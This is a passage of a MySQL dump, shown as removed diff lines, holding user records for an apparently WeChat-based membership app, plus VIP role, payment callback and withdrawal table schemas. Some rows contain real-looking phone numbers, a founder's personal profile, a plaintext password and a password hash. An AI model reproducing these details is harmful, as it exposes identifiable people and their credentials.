'Fthmz3+bYGCsT5QfG8NF/g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', '微信用户NRwI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUNNRWI', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:28', '2026-03-10 10:42:53', NULL, 'bT0b0/P9+XbaxilyLZ8KuQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', '微信用户e8dM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULH-E8DM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:44:41', '2026-03-10 22:44:41', NULL, 'cYRTdSwj66yuzz1ihC9dEw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VmKmBogTUByAmE8oCuPFnM', 'ogpTW5VmKmBogTUByAmE8oCuPFnM', '微信用户PFnM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCUPFNM', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:24:47', '2026-02-11 09:24:47', NULL, 'hgQ9RZdMayde258AIXflHw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VOStIS5N3G4AKOfKcFrp7M', 'ogpTW5VOStIS5N3G4AKOfKcFrp7M', '微信用户rp7M', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCFRP7M', '[]', 0, 0.00, 0.00, 0, '2026-02-13 22:35:12', '2026-02-13 22:35:12', NULL, '+TpVLHdh2Cu0QXe9/MXgqA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', '微信用户L7GE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULN-L7GE', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:47:03', '2026-03-10 12:20:56', NULL, 'xFnI8NqDrRMiWJSZ0DF1qg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5W-QfijW2viSKf-03yflrS8', 'ogpTW5W-QfijW2viSKf-03yflrS8', '微信用户lrS8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULYFLRS8', '[]', 0, 0.00, 0.00, 0, '2026-03-10 12:20:12', '2026-03-10 12:20:12', NULL, '1vtt8ImDK931LckZqWm/ZA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '卡若', 'https://soulapi.quwanzhi.com/uploads/avatars/1772534332601624249_9t37qs.jpeg', '', 'amao2221', 'ENTJ', '厦门', '电竞/ai/私域', '私域运营与技术公司主理人;IP+研发+运营「私域银行」', '', '帮你知道什么时间做什么事情,和什么人一起做事', '', '', '', '帮你知道什么时间做什么事情,和什么人一起做事', '', '', 'SOUL6EGC-G', '[\"4.6\"]', 0, 0.00, 0.90, 40, '2026-01-29 10:19:35', '2026-03-10 16:16:34', NULL, '6+shg5rjS3r5zmIVeNYDug==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-24 16:00:00', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-02-26 10:10:25', 100, '创始人'); -INSERT INTO `users` VALUES ('ogpTW5WbOmHKnv5QZTJ2GbVv_ZL0', 'ogpTW5WbOmHKnv5QZTJ2GbVv_ZL0', '微信用户_ZL0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULVV_ZL0', '[]', 0, 0.00, 0.00, 0, '2026-02-25 08:43:04', '2026-02-25 08:43:04', NULL, '3XHi61C+xuTWQSbyyHq35Q==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', '微信用户Zz3o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEAZZ3O', '[]', 0, 0.00, 0.00, 0, '2026-03-03 00:52:35', '2026-03-03 00:52:35', NULL, 'NtjaFSdX8vukWfjD+yaBcg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', '微信用户2PQo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQU2PQO', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:24:08', '2026-02-24 08:24:08', NULL, 'j8vFr9ew6ahP2xcd1yX+2g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WgyfQ58To207mh7YNjtGW0', 'ogpTW5WgyfQ58To207mh7YNjtGW0', '微信用户tGW0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNJTGW0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:29:29', '2026-03-07 01:29:29', NULL, '+CP85xE/DUMfq1lCTjNLRQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wng_gQTBXySc2IUXn1VN-0', 'ogpTW5Wng_gQTBXySc2IUXn1VN-0', '微信用户VN-0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULN1VN-0', '[]', 0, 0.00, 0.00, 0, '2026-02-10 23:25:35', '2026-02-10 23:25:35', NULL, 'H7THwssJuY51Q0lguh5R+g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wo_YS1-EG8Y7QzAlqEPJ5s', 'ogpTW5Wo_YS1-EG8Y7QzAlqEPJ5s', '微信用户PJ5s', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQEPJ5S', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:35:09', '2026-02-13 06:35:09', NULL, 'e0+LS+76K2hscpnFeFP46g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', '微信用户1DWo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULE11DWO', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:55:43', '2026-02-24 08:55:54', NULL, 'u5FvPkNqaP3Z1N7erarHWw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', '微信用户i1VA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4EI1VA', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:12', '2026-03-10 12:20:56', NULL, 'cWfTxvcNKIiiD8J5w1Sz4w==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XACjbmOEnO_HzDRNodY5Wg', 'ogpTW5XACjbmOEnO_HzDRNodY5Wg', '微信用户Y5Wg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULODY5WG', '[]', 0, 0.00, 0.00, 0, '2026-02-09 12:10:41', '2026-02-09 12:10:41', NULL, 'V1tRRGlsW/4UswCUDEsq9w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XAO0-SHyykUlMcOhaiNwvM', 'ogpTW5XAO0-SHyykUlMcOhaiNwvM', '微信用户NwvM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULAINWVM', '[]', 0, 0.00, 0.00, 0, '2026-01-30 10:21:03', '2026-01-30 10:21:03', NULL, 'i+t4Pnt6Xq+dr1uu4VC0rQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Xep2TNeB5TyVHNRfTXli0g', 'ogpTW5Xep2TNeB5TyVHNRfTXli0g', '微信用户li0g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTXLI0G', '[]', 0, 0.00, 0.00, 0, '2026-02-12 10:08:08', '2026-02-12 10:08:08', NULL, 'K25Masxf4emGPaXvUa01hQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XjR-LVCsY4uAW1bn_pkzzQ', 'ogpTW5XjR-LVCsY4uAW1bn_pkzzQ', '微信用户kzzQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL_PKZZQ', '[]', 0, 0.00, 0.00, 0, '2026-03-07 10:43:14', '2026-03-07 10:43:14', NULL, 'LBIZ1x+VZvpeAX4wBv6wvA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', '微信用户GOLs', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEXGOLS', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:29:42', '2026-03-05 06:29:42', NULL, 'YMWjv5M7OTTAIEzPzTfngQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', '微信用户zty0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMKZTY0', '[\"2.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:20:53', '2026-02-25 10:18:20', NULL, '3Ag0q0Rrm04/Xct0cVDg/A==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', '微信用户Qj7c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULL7QJ7C', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:17:59', '2026-03-10 22:17:59', NULL, 'TlB5+P/dhktIBEGJ3Rt+Ng==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Y47x3Mr1_Y99XrBHw97zrk', 'ogpTW5Y47x3Mr1_Y99XrBHw97zrk', '微信用户7zrk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULW97ZRK', '[]', 0, 0.00, 0.00, 0, '2026-02-25 09:12:25', '2026-02-25 09:12:25', NULL, 'e27qz4eJKPPmLSbx9PoY4Q==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YGWG42m5gxDmASx1sCLREo', 'ogpTW5YGWG42m5gxDmASx1sCLREo', '微信用户LREo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULSCLREO', '[]', 0, 0.00, 0.00, 0, '2026-03-07 16:35:43', '2026-03-07 16:35:43', NULL, 'd3tatl1vIVOA3bf5oZf9Vg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '微信用户_Jy4', '', '13524079039', 'Rocketpool', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOV_JY4', '[]', 0, 0.00, 0.00, 0, '2026-02-25 08:17:54', '2026-03-09 00:03:49', NULL, 'iaYeiXQXdUKQVJ4aKKuiww==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YmVi5VbAiljywgz3RYH_u0', 'ogpTW5YmVi5VbAiljywgz3RYH_u0', '微信用户H_u0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRYH_U0', '[]', 0, 0.00, 0.00, 0, '2026-02-12 11:18:40', '2026-02-12 11:18:40', NULL, '2fJCq+H9iNNymWmMBgsWPQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YNHCVisZBvT3uvcXGCBAmk', 'ogpTW5YNHCVisZBvT3uvcXGCBAmk', '微信用户BAmk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGCBAMK', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:35:25', '2026-02-26 09:35:25', NULL, 'X/buBArXpPw4am7lgitv3A==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Yt-Pa6LPoVhWYkiPk4J4wA', 'ogpTW5Yt-Pa6LPoVhWYkiPk4J4wA', '微信用户J4wA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULK4J4WA', '[]', 0, 0.00, 0.00, 0, '2026-03-06 23:17:13', '2026-03-06 23:17:13', NULL, 'lGav7brGoqQmRBS8LIQ9YA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Ytz5To8myZ17wFaKiHUPxQ', 'ogpTW5Ytz5To8myZ17wFaKiHUPxQ', '微信用户UPxQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIHUPXQ', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:13:17', '2026-02-26 09:13:17', NULL, 'LZq1SWmsTH/weA0gL2Ei0w==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YXuYxE0gJ_sZHciSPu6RUk', 'ogpTW5YXuYxE0gJ_sZHciSPu6RUk', '微信用户6RUk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULPU6RUK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 16:27:56', '2026-03-07 16:27:56', NULL, 'vgopaqAjHPxrfFxo7ggyDQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', '微信用户T1fk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4ST1FK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:25:38', '2026-03-07 23:25:06', NULL, 'gTHOosXApzTkqZ3/HBAi3A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZCoDNYWYO6kLpp76WK8pw8', 'ogpTW5ZCoDNYWYO6kLpp76WK8pw8', '微信用户8pw8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULWK8PW8', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:27:14', '2026-03-07 01:27:14', NULL, 'Fe+gSQsZc92QkslYxbXVqg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', 'ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', '微信用户7RRc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULHD7RRC', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:25:45', '2026-02-13 06:25:45', NULL, 'CF+7YfL+zpGSvWSBgKH7Mw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', '微信用户8F7w', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULLD8F7W', '[\"9.13\", \"8.1\", \"8.3\"]', 1, 0.00, 0.00, 0, '2026-01-31 10:18:00', '2026-01-31 10:25:42', NULL, 'reCvTbsEh93t7ki1MT8d/g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('user_mktgbdtbr0ojt10tp', NULL, '卡若', NULL, '15880802661', 'udbfnvtk', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL7ELS', NULL, 1, 0.00, 0.00, 0, '2026-01-25 16:03:00', '2026-03-11 02:31:16', '123456', NULL, NULL, 1, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-24 16:00:00', '5', NULL, NULL, NULL, NULL, 0, 0, '2026-03-11 02:31:16', 99, '创始人'); -INSERT INTO `users` VALUES ('user_ml7oqpe43e4bc9ido', NULL, '用户0001', NULL, '15260150001', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJQX4', NULL, 0, 0.00, 0.00, 0, '2026-02-04 15:07:39', '2026-02-04 15:07:39', '24b4824c36e4d95865f18f156a7338dc:528c992a640bf43dd9f286a1bddf1404eeb7d40640ebbf66fd0f94e8ce15614d', NULL, NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); - --- ---------------------------- --- Table structure for vip_roles --- ---------------------------- -DROP TABLE IF EXISTS `vip_roles`; -CREATE TABLE `vip_roles` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of vip_roles --- ---------------------------- -INSERT INTO `vip_roles` VALUES (1, '创始人', 1, NULL, NULL); -INSERT INTO `vip_roles` VALUES (2, '投资人', 2, NULL, NULL); -INSERT INTO `vip_roles` VALUES (3, '产品经理', 3, NULL, NULL); -INSERT INTO `vip_roles` VALUES (4, '技术负责人', 4, NULL, NULL); -INSERT INTO `vip_roles` VALUES (5, '运营总监', 5, NULL, NULL); -INSERT INTO `vip_roles` VALUES (6, '销售总监', 6, NULL, NULL); -INSERT INTO `vip_roles` VALUES (7, '市场总监', 7, NULL, NULL); -INSERT INTO `vip_roles` VALUES (8, '合伙人', 8, NULL, NULL); -INSERT INTO `vip_roles` VALUES (9, '顾问', 9, NULL, NULL); -INSERT INTO `vip_roles` VALUES (10, '品牌主理人', 10, NULL, NULL); - --- ---------------------------- --- Table structure for wechat_callback_logs --- ---------------------------- -DROP TABLE IF EXISTS `wechat_callback_logs`; -CREATE TABLE `wechat_callback_logs` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `callback_type` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `out_batch_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `out_detail_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `fail_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `handler_result` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `handler_error` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `request_body` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_wechat_callback_logs_callback_type`(`callback_type`) USING BTREE, - INDEX `idx_wechat_callback_logs_out_batch_no`(`out_batch_no`) USING BTREE, - INDEX `idx_wechat_callback_logs_out_detail_no`(`out_detail_no`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of wechat_callback_logs --- ---------------------------- -INSERT INTO `wechat_callback_logs` VALUES (4, 'transfer', 'WD1772271618875406', 'WD1772271618875406', '1330000114850082603050052708391218', 'SUCCESS', '', 'success', '', '', '2026-03-05 09:58:31.238'); - --- ---------------------------- --- Table structure for withdrawals --- ---------------------------- -DROP TABLE IF EXISTS `withdrawals`; -CREATE TABLE `withdrawals` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `batch_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `package_info` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `amount` decimal(10, 2) NOT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_openid` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transaction_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `error_message` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `processed_at` datetime(3) NULL DEFAULT NULL, - `batch_no` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `detail_no` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `remark` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `fail_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `user_confirmed_at` datetime(3) NULL DEFAULT NULL, - PRIMARY 